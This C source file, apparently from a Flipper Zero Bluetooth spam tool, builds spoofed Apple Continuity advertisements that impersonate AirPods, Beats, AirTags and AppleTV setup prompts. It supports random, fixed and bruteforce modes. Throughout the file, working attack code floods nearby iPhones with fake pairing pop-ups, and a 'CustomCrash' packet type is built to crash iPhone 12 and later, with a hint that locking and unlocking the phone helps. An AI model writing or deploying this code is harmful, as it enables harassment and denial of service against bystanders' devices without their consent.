continuity.c 45 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271
  1. #include "continuity.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL
  4. // iOS 17 Crash by @ECTO-1A
  5. // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
  6. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  7. typedef struct {
  8. uint8_t value;
  9. const char* name;
  10. } ContinuityColor;
  11. static const ContinuityColor colors_white[] = {
  12. {0x00, "White"},
  13. };
  14. static const ContinuityColor colors_airpods_max[] = {
  15. {0x00, "White"},
  16. {0x02, "Red"},
  17. {0x03, "Blue"},
  18. {0x0F, "Black"},
  19. {0x11, "Light Green"},
  20. };
  21. static const ContinuityColor colors_beats_flex[] = {
  22. {0x00, "White"},
  23. {0x01, "Black"},
  24. };
  25. static const ContinuityColor colors_beats_solo_3[] = {
  26. {0x00, "White"},
  27. {0x01, "Black"},
  28. {0x6, "Gray"},
  29. {0x7, "Gold/White"},
  30. {0x8, "Rose Gold"},
  31. {0x09, "Black"},
  32. {0xE, "Violet/White"},
  33. {0xF, "Bright Red"},
  34. {0x12, "Dark Red"},
  35. {0x13, "Swamp Green"},
  36. {0x14, "Dark Gray"},
  37. {0x15, "Dark Blue"},
  38. {0x1D, "Rose Gold 2"},
  39. {0x20, "Blue/Green"},
  40. {0x21, "Purple/Orange"},
  41. {0x22, "Deep Blue/ Light blue"},
  42. {0x23, "Magenta/Light Fuchsia"},
  43. {0x25, "Black/Red"},
  44. {0x2A, "Gray / Disney LTD"},
  45. {0x2E, "Pinkish white"},
  46. {0x3D, "Red/Blue"},
  47. {0x3E, "Yellow/Blue"},
  48. {0x3F, "White/Red"},
  49. {0x40, "Purple/White"},
  50. {0x5B, "Gold"},
  51. {0x5C, "Silver"},
  52. };
  53. static const ContinuityColor colors_powerbeats_3[] = {
  54. {0x00, "White"},
  55. {0x01, "Black"},
  56. {0x0B, "Gray/Blue"},
  57. {0x0C, "Gray/Red"},
  58. {0x0D, "Gray/Green"},
  59. {0x12, "Red"},
  60. {0x13, "Swamp Green"},
  61. {0x14, "Gray"},
  62. {0x15, "Deep Blue"},
  63. {0x17, "Dark with Gold Logo"},
  64. };
  65. static const ContinuityColor colors_powerbeats_pro[] = {
  66. {0x00, "White"},
  67. {0x02, "Yellowish Green"},
  68. {0x03, "Blue"},
  69. {0x04, "Black"},
  70. {0x05, "Pink"},
  71. {0x06, "Red"},
  72. {0x0B, "Gray ?"},
  73. {0x0D, "Sky Blue"},
  74. };
  75. static const ContinuityColor colors_beats_solo_pro[] = {
  76. {0x00, "White"},
  77. {0x01, "Black"},
  78. };
  79. static const ContinuityColor colors_beats_studio_buds[] = {
  80. {0x00, "White"},
  81. {0x01, "Black"},
  82. {0x02, "Red"},
  83. {0x03, "Blue"},
  84. {0x04, "Pink"},
  85. {0x06, "Silver"},
  86. };
  87. static const ContinuityColor colors_beats_x[] = {
  88. {0x00, "White"},
  89. {0x01, "Black"},
  90. {0x02, "Blue"},
  91. {0x05, "Gray"},
  92. {0x1D, "Pink"},
  93. {0x25, "Dark/Red"},
  94. };
  95. static const ContinuityColor colors_beats_studio_3[] = {
  96. {0x00, "White"},
  97. {0x01, "Black"},
  98. {0x02, "Red"},
  99. {0x03, "Blue"},
  100. {0x18, "Shadow Gray"},
  101. {0x19, "Desert Sand"},
  102. {0x25, "Black / Red"},
  103. {0x26, "Midnight Black"},
  104. {0x27, "Desert Sand 2"},
  105. {0x28, "Gray"},
  106. {0x29, "Clear blue/ gold"},
  107. {0x42, "Green Forest camo"},
  108. {0x43, "White Camo"},
  109. };
  110. static const ContinuityColor colors_beats_studio_pro[] = {
  111. {0x00, "White"},
  112. {0x01, "Black"},
  113. };
  114. static const ContinuityColor colors_beats_fit_pro[] = {
  115. {0x00, "White"},
  116. {0x01, "Black"},
  117. {0x02, "Pink"},
  118. {0x03, "Grey/White"},
  119. {0x04, "Full Pink"},
  120. {0x05, "Neon Green"},
  121. {0x06, "Night Blue"},
  122. {0x07, "Light Pink"},
  123. {0x08, "Brown"},
  124. {0x09, "Dark Brown"},
  125. };
  126. static const ContinuityColor colors_beats_studio_buds_[] = {
  127. {0x00, "Black"},
  128. {0x01, "White"},
  129. {0x02, "Transparent"},
  130. {0x03, "Silver"},
  131. {0x04, "Pink"},
  132. };
  133. static const struct {
  134. uint16_t value;
  135. const char* name;
  136. const ContinuityColor* colors;
  137. const uint8_t colors_count;
  138. } pp_models[] = {
  139. {0x0E20, "AirPods Pro", colors_white, COUNT_OF(colors_white)},
  140. {0x0A20, "AirPods Max", colors_airpods_max, COUNT_OF(colors_airpods_max)},
  141. {0x0055, "Airtag", colors_white, COUNT_OF(colors_white)},
  142. {0x0030, "Hermes Airtag", colors_white, COUNT_OF(colors_white)},
  143. {0x0220, "AirPods", colors_white, COUNT_OF(colors_white)},
  144. {0x0F20, "AirPods 2nd Gen", colors_white, COUNT_OF(colors_white)},
  145. {0x1320, "AirPods 3rd Gen", colors_white, COUNT_OF(colors_white)},
  146. {0x1420, "AirPods Pro 2nd Gen", colors_white, COUNT_OF(colors_white)},
  147. {0x1020, "Beats Flex", colors_beats_flex, COUNT_OF(colors_beats_flex)},
  148. {0x0620, "Beats Solo 3", colors_beats_solo_3, COUNT_OF(colors_beats_solo_3)},
  149. {0x0320, "Powerbeats 3", colors_powerbeats_3, COUNT_OF(colors_powerbeats_3)},
  150. {0x0B20, "Powerbeats Pro", colors_powerbeats_pro, COUNT_OF(colors_powerbeats_pro)},
  151. {0x0C20, "Beats Solo Pro", colors_beats_solo_pro, COUNT_OF(colors_beats_solo_pro)},
  152. {0x1120, "Beats Studio Buds", colors_beats_studio_buds, COUNT_OF(colors_beats_studio_buds)},
  153. {0x0520, "Beats X", colors_beats_x, COUNT_OF(colors_beats_x)},
  154. {0x0920, "Beats Studio 3", colors_beats_studio_3, COUNT_OF(colors_beats_studio_3)},
  155. {0x1720, "Beats Studio Pro", colors_beats_studio_pro, COUNT_OF(colors_beats_studio_pro)},
  156. {0x1220, "Beats Fit Pro", colors_beats_fit_pro, COUNT_OF(colors_beats_fit_pro)},
  157. {0x1620, "Beats Studio Buds+", colors_beats_studio_buds_, COUNT_OF(colors_beats_studio_buds_)},
  158. };
  159. static const uint8_t pp_models_count = COUNT_OF(pp_models);
  160. static const struct {
  161. uint8_t value;
  162. const char* name;
  163. } pp_prefixes[] = {
  164. {0x07, "New Device"},
  165. {0x01, "Not Your Device"},
  166. {0x05, "New Airtag"},
  167. };
  168. static const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
  169. static const struct {
  170. uint8_t value;
  171. const char* name;
  172. } na_actions[] = {
  173. {0x13, "AppleTV AutoFill"},
  174. {0x27, "AppleTV Connecting..."},
  175. {0x20, "Join This AppleTV?"},
  176. {0x19, "AppleTV Audio Sync"},
  177. {0x1E, "AppleTV Color Balance"},
  178. {0x09, "Setup New iPhone"},
  179. {0x02, "Transfer Phone Number"},
  180. {0x0B, "HomePod Setup"},
  181. {0x01, "Setup New AppleTV"},
  182. {0x06, "Pair AppleTV"},
  183. {0x0D, "HomeKit AppleTV Setup"},
  184. {0x2B, "AppleID for AppleTV?"},
  185. };
  186. static const uint8_t na_actions_count = COUNT_OF(na_actions);
  187. static const char* type_names[ContinuityTypeCOUNT] = {
  188. [ContinuityTypeAirDrop] = "AirDrop",
  189. [ContinuityTypeProximityPair] = "Continuity Pair",
  190. [ContinuityTypeAirplayTarget] = "Airplay Target",
  191. [ContinuityTypeHandoff] = "Handoff",
  192. [ContinuityTypeTetheringSource] = "Tethering Source",
  193. [ContinuityTypeNearbyAction] = "Continuity Action",
  194. [ContinuityTypeNearbyInfo] = "Nearby Info",
  195. [ContinuityTypeCustomCrash] = "Continuity Custom",
  196. };
  197. static const char* get_name(const Payload* payload) {
  198. const ContinuityCfg* cfg = &payload->cfg.continuity;
  199. return type_names[cfg->type];
  200. }
  201. #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
  202. static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
  203. [ContinuityTypeAirDrop] = HEADER_LEN + 18,
  204. [ContinuityTypeProximityPair] = HEADER_LEN + 25,
  205. [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
  206. [ContinuityTypeHandoff] = HEADER_LEN + 14,
  207. [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
  208. [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
  209. [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
  210. [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
  211. };
  212. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  213. ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL;
  214. ContinuityType type;
  215. if(cfg && cfg->type != 0x00) {
  216. type = cfg->type;
  217. } else {
  218. const ContinuityType types[] = {
  219. ContinuityTypeProximityPair,
  220. ContinuityTypeNearbyAction,
  221. ContinuityTypeCustomCrash,
  222. };
  223. type = types[rand() % COUNT_OF(types)];
  224. }
  225. uint8_t size = packet_sizes[type];
  226. uint8_t* packet = malloc(size);
  227. uint8_t i = 0;
  228. packet[i++] = size - 1; // Size
  229. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  230. packet[i++] = 0x4C; // Company ID (Apple, Inc.)
  231. packet[i++] = 0x00; // ...
  232. packet[i++] = type; // Continuity Type
  233. packet[i] = size - i - 1; // Continuity Size
  234. i++;
  235. switch(type) {
  236. case ContinuityTypeAirDrop: {
  237. packet[i++] = 0x00; // Zeros
  238. packet[i++] = 0x00; // ...
  239. packet[i++] = 0x00; // ...
  240. packet[i++] = 0x00; // ...
  241. packet[i++] = 0x00; // ...
  242. packet[i++] = 0x00; // ...
  243. packet[i++] = 0x00; // ...
  244. packet[i++] = 0x00; // ...
  245. packet[i++] = 0x01; // Version
  246. packet[i++] = (rand() % 256); // AppleID
  247. packet[i++] = (rand() % 256); // ...
  248. packet[i++] = (rand() % 256); // Phone Number
  249. packet[i++] = (rand() % 256); // ...
  250. packet[i++] = (rand() % 256); // Email
  251. packet[i++] = (rand() % 256); // ...
  252. packet[i++] = (rand() % 256); // Email2
  253. packet[i++] = (rand() % 256); // ...
  254. packet[i++] = 0x00; // Zero
  255. break;
  256. }
  257. case ContinuityTypeProximityPair: {
  258. uint16_t model;
  259. uint8_t color;
  260. switch(payload ? payload->mode : PayloadModeRandom) {
  261. case PayloadModeRandom:
  262. default: {
  263. uint8_t model_index = rand() % pp_models_count;
  264. uint8_t color_index = rand() % pp_models[model_index].colors_count;
  265. model = pp_models[model_index].value;
  266. color = pp_models[model_index].colors[color_index].value;
  267. break;
  268. }
  269. case PayloadModeValue:
  270. model = cfg->data.proximity_pair.model;
  271. color = cfg->data.proximity_pair.color;
  272. break;
  273. case PayloadModeBruteforce:
  274. switch(cfg->data.proximity_pair.bruteforce_mode) {
  275. case ContinuityPpBruteforceModel:
  276. default:
  277. model = cfg->data.proximity_pair.model = payload->bruteforce.value;
  278. color = cfg->data.proximity_pair.color;
  279. break;
  280. case ContinuityPpBruteforceColor:
  281. model = cfg->data.proximity_pair.model;
  282. color = cfg->data.proximity_pair.color = payload->bruteforce.value;
  283. break;
  284. }
  285. break;
  286. }
  287. uint8_t prefix;
  288. if(cfg && cfg->data.proximity_pair.prefix != 0x00) {
  289. prefix = cfg->data.proximity_pair.prefix;
  290. } else {
  291. if(model == 0x0055 || model == 0x0030)
  292. prefix = 0x05;
  293. else
  294. prefix = 0x01;
  295. }
  296. packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
  297. packet[i++] = (model >> 0x08) & 0xFF; // Device Model
  298. packet[i++] = (model >> 0x00) & 0xFF; // ...
  299. packet[i++] = 0x55; // Status
  300. packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
  301. packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
  302. packet[i++] = (rand() % 256); // Lid Open Counter
  303. packet[i++] = color; // Device Color
  304. packet[i++] = 0x00;
  305. furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
  306. i += 16;
  307. break;
  308. }
  309. case ContinuityTypeAirplayTarget: {
  310. packet[i++] = (rand() % 256); // Flags
  311. packet[i++] = (rand() % 256); // Configuration Seed
  312. packet[i++] = (rand() % 256); // IPv4 Address
  313. packet[i++] = (rand() % 256); // ...
  314. packet[i++] = (rand() % 256); // ...
  315. packet[i++] = (rand() % 256); // ...
  316. break;
  317. }
  318. case ContinuityTypeHandoff: {
  319. packet[i++] = 0x01; // Version
  320. packet[i++] = (rand() % 256); // Initialization Vector
  321. packet[i++] = (rand() % 256); // ...
  322. packet[i++] = (rand() % 256); // AES-GCM Auth Tag
  323. packet[i++] = (rand() % 256); // Encrypted Payload
  324. packet[i++] = (rand() % 256); // ...
  325. packet[i++] = (rand() % 256); // ...
  326. packet[i++] = (rand() % 256); // ...
  327. packet[i++] = (rand() % 256); // ...
  328. packet[i++] = (rand() % 256); // ...
  329. packet[i++] = (rand() % 256); // ...
  330. packet[i++] = (rand() % 256); // ...
  331. packet[i++] = (rand() % 256); // ...
  332. packet[i++] = (rand() % 256); // ...
  333. break;
  334. }
  335. case ContinuityTypeTetheringSource: {
  336. packet[i++] = 0x01; // Version
  337. packet[i++] = (rand() % 256); // Flags
  338. packet[i++] = (rand() % 101); // Battery Life
  339. packet[i++] = 0x00; // Cell Service Type
  340. packet[i++] = (rand() % 8); // ...
  341. packet[i++] = (rand() % 5); // Cell Service Strength
  342. break;
  343. }
  344. case ContinuityTypeNearbyAction: {
  345. uint8_t action;
  346. switch(payload ? payload->mode : PayloadModeRandom) {
  347. case PayloadModeRandom:
  348. default:
  349. action = na_actions[rand() % na_actions_count].value;
  350. break;
  351. case PayloadModeValue:
  352. action = cfg->data.nearby_action.action;
  353. break;
  354. case PayloadModeBruteforce:
  355. action = cfg->data.nearby_action.action = payload->bruteforce.value;
  356. break;
  357. }
  358. uint8_t flags;
  359. if(cfg && cfg->data.nearby_action.flags != 0x00) {
  360. flags = cfg->data.nearby_action.flags;
  361. } else {
  362. flags = 0xC0;
  363. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  364. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  365. }
  366. packet[i++] = flags; // Action Flags
  367. packet[i++] = action; // Action Type
  368. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  369. i += 3;
  370. break;
  371. }
  372. case ContinuityTypeNearbyInfo: {
  373. packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
  374. packet[i++] = (rand() % 256); // Status Flags
  375. packet[i++] = (rand() % 256); // Authentication Tag
  376. packet[i++] = (rand() % 256); // ...
  377. packet[i++] = (rand() % 256); // ...
  378. break;
  379. }
  380. case ContinuityTypeCustomCrash: {
  381. // Found by @ECTO-1A
  382. uint8_t action = na_actions[rand() % na_actions_count].value;
  383. uint8_t flags = 0xC0;
  384. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  385. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  386. i -= 2; // Override segment header
  387. packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
  388. packet[i++] = 5; // Continuity Size
  389. packet[i++] = flags; // Action Flags
  390. packet[i++] = action; // Action Type
  391. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  392. i += 3;
  393. packet[i++] = 0x00; // Additional Action Data Terminator (?)
  394. packet[i++] = 0x00; // ...
  395. packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
  396. furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
  397. i += 3;
  398. break;
  399. }
  400. default:
  401. break;
  402. }
  403. *_size = size;
  404. *_packet = packet;
  405. }
  406. enum {
  407. _ConfigPpExtraStart = ConfigExtraStart,
  408. ConfigPpModel,
  409. ConfigPpColor,
  410. ConfigPpPrefix,
  411. ConfigPpCOUNT,
  412. };
  413. enum {
  414. _ConfigNaExtraStart = ConfigExtraStart,
  415. ConfigNaAction,
  416. ConfigNaFlags,
  417. ConfigNaCOUNT,
  418. };
  419. enum {
  420. _ConfigCcExtraStart = ConfigExtraStart,
  421. ConfigCcInfoLock,
  422. ConfigCcInfoDevice,
  423. ConfigCcCOUNT,
  424. };
  425. static void config_callback(void* _ctx, uint32_t index) {
  426. Ctx* ctx = _ctx;
  427. Payload* payload = &ctx->attack->payload;
  428. ContinuityCfg* cfg = &payload->cfg.continuity;
  429. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  430. switch(cfg->type) {
  431. case ContinuityTypeProximityPair: {
  432. switch(index) {
  433. case ConfigPpModel:
  434. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
  435. break;
  436. case ConfigPpColor:
  437. if(payload->mode != PayloadModeRandom)
  438. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColor);
  439. break;
  440. case ConfigPpPrefix:
  441. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
  442. break;
  443. default:
  444. ctx->fallback_config_enter(ctx, index);
  445. break;
  446. }
  447. break;
  448. }
  449. case ContinuityTypeNearbyAction: {
  450. switch(index) {
  451. case ConfigNaAction:
  452. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
  453. break;
  454. case ConfigNaFlags:
  455. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
  456. break;
  457. default:
  458. ctx->fallback_config_enter(ctx, index);
  459. break;
  460. }
  461. break;
  462. }
  463. case ContinuityTypeCustomCrash: {
  464. switch(index) {
  465. case ConfigCcInfoLock:
  466. case ConfigCcInfoDevice:
  467. break;
  468. default:
  469. ctx->fallback_config_enter(ctx, index);
  470. break;
  471. }
  472. break;
  473. }
  474. default:
  475. ctx->fallback_config_enter(ctx, index);
  476. break;
  477. }
  478. }
  479. static void pp_model_changed(VariableItem* item) {
  480. Ctx* ctx = variable_item_get_context(item);
  481. Payload* payload = &ctx->attack->payload;
  482. ContinuityCfg* cfg = &payload->cfg.continuity;
  483. uint8_t index = variable_item_get_current_value_index(item);
  484. const char* color_name = NULL;
  485. char color_name_buf[3];
  486. uint8_t colors_count;
  487. uint8_t value_index_color;
  488. if(index) {
  489. index--;
  490. if(payload->mode != PayloadModeBruteforce ||
  491. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  492. payload->mode = PayloadModeValue;
  493. cfg->data.proximity_pair.model = pp_models[index].value;
  494. variable_item_set_current_value_text(item, pp_models[index].name);
  495. colors_count = pp_models[index].colors_count;
  496. if(payload->mode == PayloadModeValue) {
  497. for(uint8_t j = 0; j < colors_count; j++) {
  498. if(cfg->data.proximity_pair.color == pp_models[index].colors[j].value) {
  499. color_name = pp_models[index].colors[j].name;
  500. value_index_color = j;
  501. break;
  502. }
  503. }
  504. if(!color_name) {
  505. snprintf(
  506. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  507. color_name = color_name_buf;
  508. value_index_color = colors_count;
  509. }
  510. } else {
  511. color_name = "Bruteforce";
  512. value_index_color = colors_count;
  513. }
  514. } else {
  515. payload->mode = PayloadModeRandom;
  516. variable_item_set_current_value_text(item, "Random");
  517. color_name = "Random";
  518. colors_count = 1;
  519. value_index_color = 0;
  520. }
  521. item = variable_item_list_get(ctx->variable_item_list, ConfigPpColor);
  522. variable_item_set_values_count(item, colors_count);
  523. variable_item_set_current_value_index(item, value_index_color);
  524. variable_item_set_current_value_text(item, color_name);
  525. }
  526. static void pp_color_changed(VariableItem* item) {
  527. Payload* payload = variable_item_get_context(item);
  528. ContinuityCfg* cfg = &payload->cfg.continuity;
  529. uint8_t index = variable_item_get_current_value_index(item);
  530. if(payload->mode != PayloadModeBruteforce ||
  531. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  532. payload->mode = PayloadModeValue;
  533. uint8_t model_index = 0;
  534. for(; model_index < pp_models_count; model_index++) {
  535. if(cfg->data.proximity_pair.model == pp_models[model_index].value) break;
  536. }
  537. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  538. variable_item_set_current_value_text(item, pp_models[model_index].colors[index].name);
  539. }
  540. static void pp_prefix_changed(VariableItem* item) {
  541. Payload* payload = variable_item_get_context(item);
  542. ContinuityCfg* cfg = &payload->cfg.continuity;
  543. uint8_t index = variable_item_get_current_value_index(item);
  544. if(index) {
  545. index--;
  546. cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
  547. variable_item_set_current_value_text(item, pp_prefixes[index].name);
  548. } else {
  549. cfg->data.proximity_pair.prefix = 0x00;
  550. variable_item_set_current_value_text(item, "Auto");
  551. }
  552. }
  553. static void na_action_changed(VariableItem* item) {
  554. Payload* payload = variable_item_get_context(item);
  555. ContinuityCfg* cfg = &payload->cfg.continuity;
  556. uint8_t index = variable_item_get_current_value_index(item);
  557. if(index) {
  558. index--;
  559. payload->mode = PayloadModeValue;
  560. cfg->data.nearby_action.action = na_actions[index].value;
  561. variable_item_set_current_value_text(item, na_actions[index].name);
  562. } else {
  563. payload->mode = PayloadModeRandom;
  564. variable_item_set_current_value_text(item, "Random");
  565. }
  566. }
  567. static void extra_config(Ctx* ctx) {
  568. Payload* payload = &ctx->attack->payload;
  569. ContinuityCfg* cfg = &payload->cfg.continuity;
  570. VariableItemList* list = ctx->variable_item_list;
  571. VariableItem* item;
  572. uint8_t value_index;
  573. switch(cfg->type) {
  574. case ContinuityTypeProximityPair: {
  575. item =
  576. variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, ctx);
  577. const char* model_name = NULL;
  578. char model_name_buf[5];
  579. const char* color_name = NULL;
  580. char color_name_buf[3];
  581. uint8_t colors_count;
  582. uint8_t value_index_color;
  583. switch(payload->mode) {
  584. case PayloadModeRandom:
  585. default:
  586. model_name = "Random";
  587. value_index = 0;
  588. color_name = "Random";
  589. colors_count = 1;
  590. value_index_color = 0;
  591. break;
  592. case PayloadModeValue:
  593. for(uint8_t i = 0; i < pp_models_count; i++) {
  594. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  595. model_name = pp_models[i].name;
  596. value_index = i + 1;
  597. colors_count = pp_models[i].colors_count;
  598. for(uint8_t j = 0; j < colors_count; j++) {
  599. if(cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  600. color_name = pp_models[i].colors[j].name;
  601. value_index_color = j;
  602. break;
  603. }
  604. }
  605. break;
  606. }
  607. }
  608. if(!model_name) {
  609. snprintf(
  610. model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
  611. model_name = model_name_buf;
  612. value_index = pp_models_count + 1;
  613. colors_count = 0;
  614. }
  615. if(!color_name) {
  616. snprintf(
  617. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  618. color_name = color_name_buf;
  619. value_index_color = colors_count;
  620. }
  621. break;
  622. case PayloadModeBruteforce:
  623. switch(cfg->data.proximity_pair.bruteforce_mode) {
  624. case ContinuityPpBruteforceModel:
  625. default:
  626. model_name = "Bruteforce";
  627. value_index = pp_models_count + 1;
  628. snprintf(
  629. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  630. color_name = color_name_buf;
  631. colors_count = 1;
  632. value_index_color = 0;
  633. break;
  634. case ContinuityPpBruteforceColor:
  635. for(uint8_t i = 0; i < pp_models_count; i++) {
  636. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  637. model_name = pp_models[i].name;
  638. value_index = i + 1;
  639. colors_count = pp_models[i].colors_count;
  640. break;
  641. }
  642. }
  643. if(!model_name) {
  644. snprintf(
  645. model_name_buf,
  646. sizeof(model_name_buf),
  647. "%04X",
  648. cfg->data.proximity_pair.model);
  649. model_name = model_name_buf;
  650. value_index = pp_models_count + 1;
  651. colors_count = 0;
  652. }
  653. color_name = "Bruteforce";
  654. value_index_color = colors_count;
  655. break;
  656. }
  657. break;
  658. }
  659. variable_item_set_current_value_index(item, value_index);
  660. variable_item_set_current_value_text(item, model_name);
  661. item =
  662. variable_item_list_add(list, "Device Color", colors_count, pp_color_changed, payload);
  663. variable_item_set_current_value_index(item, value_index_color);
  664. variable_item_set_current_value_text(item, color_name);
  665. item = variable_item_list_add(
  666. list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload);
  667. const char* prefix_name = NULL;
  668. char prefix_name_buf[3];
  669. if(cfg->data.proximity_pair.prefix == 0x00) {
  670. prefix_name = "Auto";
  671. value_index = 0;
  672. } else {
  673. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  674. if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  675. prefix_name = pp_prefixes[i].name;
  676. value_index = i + 1;
  677. break;
  678. }
  679. }
  680. if(!prefix_name) {
  681. snprintf(
  682. prefix_name_buf,
  683. sizeof(prefix_name_buf),
  684. "%02X",
  685. cfg->data.proximity_pair.prefix);
  686. prefix_name = prefix_name_buf;
  687. value_index = pp_prefixes_count + 1;
  688. }
  689. }
  690. variable_item_set_current_value_index(item, value_index);
  691. variable_item_set_current_value_text(item, prefix_name);
  692. break;
  693. }
  694. case ContinuityTypeNearbyAction: {
  695. item = variable_item_list_add(
  696. list, "Action Type", na_actions_count + 1, na_action_changed, payload);
  697. const char* action_name = NULL;
  698. char action_name_buf[3];
  699. switch(payload->mode) {
  700. case PayloadModeRandom:
  701. default:
  702. action_name = "Random";
  703. value_index = 0;
  704. break;
  705. case PayloadModeValue:
  706. for(uint8_t i = 0; i < na_actions_count; i++) {
  707. if(cfg->data.nearby_action.action == na_actions[i].value) {
  708. action_name = na_actions[i].name;
  709. value_index = i + 1;
  710. break;
  711. }
  712. }
  713. if(!action_name) {
  714. snprintf(
  715. action_name_buf,
  716. sizeof(action_name_buf),
  717. "%02X",
  718. cfg->data.nearby_action.action);
  719. action_name = action_name_buf;
  720. value_index = na_actions_count + 1;
  721. }
  722. break;
  723. case PayloadModeBruteforce:
  724. action_name = "Bruteforce";
  725. value_index = na_actions_count + 1;
  726. break;
  727. }
  728. variable_item_set_current_value_index(item, value_index);
  729. variable_item_set_current_value_text(item, action_name);
  730. item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
  731. const char* flags_name = NULL;
  732. char flags_name_buf[3];
  733. if(cfg->data.nearby_action.flags == 0x00) {
  734. flags_name = "Auto";
  735. } else {
  736. snprintf(
  737. flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
  738. flags_name = flags_name_buf;
  739. }
  740. variable_item_set_current_value_text(item, flags_name);
  741. break;
  742. }
  743. case ContinuityTypeCustomCrash: {
  744. variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
  745. variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
  746. break;
  747. }
  748. default:
  749. break;
  750. }
  751. variable_item_list_set_enter_callback(list, config_callback, ctx);
  752. }
